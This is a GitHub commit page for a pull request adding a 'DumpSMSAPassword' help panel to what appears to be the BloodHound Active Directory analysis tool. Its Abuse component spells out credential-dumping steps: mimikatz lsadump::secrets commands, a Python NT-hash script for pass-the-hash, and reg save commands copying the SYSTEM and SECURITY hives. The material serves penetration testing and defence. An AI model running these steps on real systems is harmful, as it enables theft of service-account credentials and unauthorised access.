-
Notifications
You must be signed in to change notification settings - Fork 1.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #626 from simondotsh/master
Contribution of the DumpSMSAPassword edge with its documentation
- Loading branch information
Showing
13 changed files
with
309 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
89 changes: 89 additions & 0 deletions
89
src/components/Modals/HelpTexts/DumpSMSAPassword/Abuse.jsx
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
import React from 'react'; | ||
import {groupSpecialFormat} from "../Formatter"; | ||
|
||
const Abuse = ({sourceName, sourceType, targetName, targetType}) => { | ||
return ( | ||
<> | ||
<p> | ||
From an elevated command prompt on {sourceName}, run | ||
mimikatz then execute the following commands: | ||
</p> | ||
|
||
<pre> | ||
<code> | ||
{ | ||
"privilege::debug\n" + | ||
"token::elevate\n" + | ||
"lsadump::secrets" | ||
} | ||
</code> | ||
</pre> | ||
|
||
<p> | ||
In the output, find <code>_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_{targetName.toLowerCase().split('@')[0]}</code>. | ||
The next line contains <code>cur/hex :</code> followed with {targetName}'s | ||
password hex-encoded. | ||
</p> | ||
|
||
<p> | ||
To use this password, its NT hash must be calculated. This can be done using | ||
a small python script: | ||
</p> | ||
|
||
<pre> | ||
<code> | ||
{ | ||
"# nt.py\n" + | ||
"import sys, hashlib\n\n" + | ||
|
||
"pw_hex = sys.argv[1]\n" + | ||
"nt_hash = hashlib.new('md4', bytes.fromhex(pw_hex)).hexdigest()\n\n" + | ||
|
||
"print(nt_hash)" | ||
} | ||
</code> | ||
</pre> | ||
|
||
<p> | ||
Execute it like so: | ||
</p> | ||
|
||
<pre> | ||
<code> | ||
python3 nt.py 35f3e1713d61... | ||
</code> | ||
</pre> | ||
|
||
<p> | ||
To authenticate as the sMSA, leverage pass-the-hash. | ||
</p> | ||
|
||
<p> | ||
Alternatively, to avoid executing mimikatz on {sourceName}, you can save a copy of | ||
the <code>SYSTEM</code> and <code>SECURITY</code> registry hives from an elevated prompt: | ||
</p> | ||
|
||
<pre> | ||
<code> | ||
reg save HKLM\SYSTEM %temp%\SYSTEM & reg save HKLM\SECURITY %temp%\SECURITY | ||
</code> | ||
</pre> | ||
|
||
<p> | ||
Transfer the files named <code>SYSTEM</code> and <code>SECURITY</code> that were saved | ||
at <code>%temp%</code> to another computer where mimikatz can be safely executed. | ||
|
||
On this other computer, run mimikatz from a command prompt then execute the | ||
following command to obtain the hex-encoded password: | ||
</p> | ||
|
||
<pre> | ||
<code> | ||
lsadump::secrets /system:C:\path\to\file\SYSTEM /security:C:\path\to\file\SECURITY | ||
</code> | ||
</pre> | ||
</> | ||
) | ||
}; | ||
|
||
export default Abuse; |
50 changes: 50 additions & 0 deletions
50
src/components/Modals/HelpTexts/DumpSMSAPassword/DumpSMSAPassword.jsx
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
import React from 'react'; | ||
import PropTypes from 'prop-types'; | ||
import { Tabs, Tab } from 'react-bootstrap'; | ||
import General from './General'; | ||
import Abuse from './Abuse'; | ||
import Opsec from './Opsec'; | ||
import References from './References'; | ||
|
||
const DumpSMSAPassword = ({ | ||
sourceName, | ||
sourceType, | ||
targetName, | ||
targetType, | ||
}) => { | ||
return ( | ||
<Tabs defaultActiveKey={1} id='help-tab-container' justified> | ||
<Tab | ||
eventKey={1} | ||
title='Info' | ||
> | ||
<General | ||
sourceName={sourceName} | ||
sourceType={sourceType} | ||
targetName={targetName} | ||
targetType={targetType} | ||
/> | ||
</Tab> | ||
<Tab | ||
eventKey={2} | ||
title='Abuse Info' | ||
> | ||
<Abuse sourceName={sourceName} sourceType={sourceType} targetName={targetName} /> | ||
</Tab> | ||
<Tab eventKey={3} title='Opsec Considerations'> | ||
<Opsec /> | ||
</Tab> | ||
<Tab eventKey={4} title='References'> | ||
<References /> | ||
</Tab> | ||
</Tabs> | ||
); | ||
}; | ||
|
||
DumpSMSAPassword.propTypes = { | ||
sourceName: PropTypes.string, | ||
sourceType: PropTypes.string, | ||
targetName: PropTypes.string, | ||
targetType: PropTypes.string, | ||
}; | ||
export default DumpSMSAPassword; |
29 changes: 29 additions & 0 deletions
29
src/components/Modals/HelpTexts/DumpSMSAPassword/General.jsx
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
import React from 'react'; | ||
import PropTypes from 'prop-types'; | ||
|
||
import { groupSpecialFormat } from '../Formatter'; | ||
|
||
const General = ({sourceName, sourceType, targetName, targetType}) => { | ||
return ( | ||
<> | ||
<p> | ||
{groupSpecialFormat(sourceType, sourceName)} the | ||
Standalone Managed Service Account (sMSA) {targetName} installed on it. | ||
</p> | ||
|
||
<p> | ||
With administrative privileges on {sourceName}, it is | ||
possible to dump {targetName}'s password stored in LSA | ||
secrets. | ||
</p> | ||
</> | ||
); | ||
}; | ||
|
||
General.propTypes = { | ||
sourceName: PropTypes.string, | ||
sourceType: PropTypes.string, | ||
targetName: PropTypes.string, | ||
}; | ||
|
||
export default General; |
15 changes: 15 additions & 0 deletions
15
src/components/Modals/HelpTexts/DumpSMSAPassword/Opsec.jsx
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
import React from 'react'; | ||
|
||
const Opsec = () => { | ||
|
||
return ( | ||
<> | ||
<p> | ||
Access to registry hives can be monitored and alerted via event ID 4656 | ||
(A handle to an object was requested). | ||
</p> | ||
</> | ||
) | ||
}; | ||
|
||
export default Opsec; |
16 changes: 16 additions & 0 deletions
16
src/components/Modals/HelpTexts/DumpSMSAPassword/References.jsx
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
import React from 'react'; | ||
|
||
|
||
const References = () => { | ||
return( | ||
<> | ||
<a href="https://simondotsh.com/infosec/2022/12/12/assessing-smsa.html">https://simondotsh.com/infosec/2022/12/12/assessing-smsa.html</a> | ||
<br /> | ||
<a href="https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets">https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets</a> | ||
<br /> | ||
<a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz</a> | ||
</> | ||
) | ||
}; | ||
|
||
export default References; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.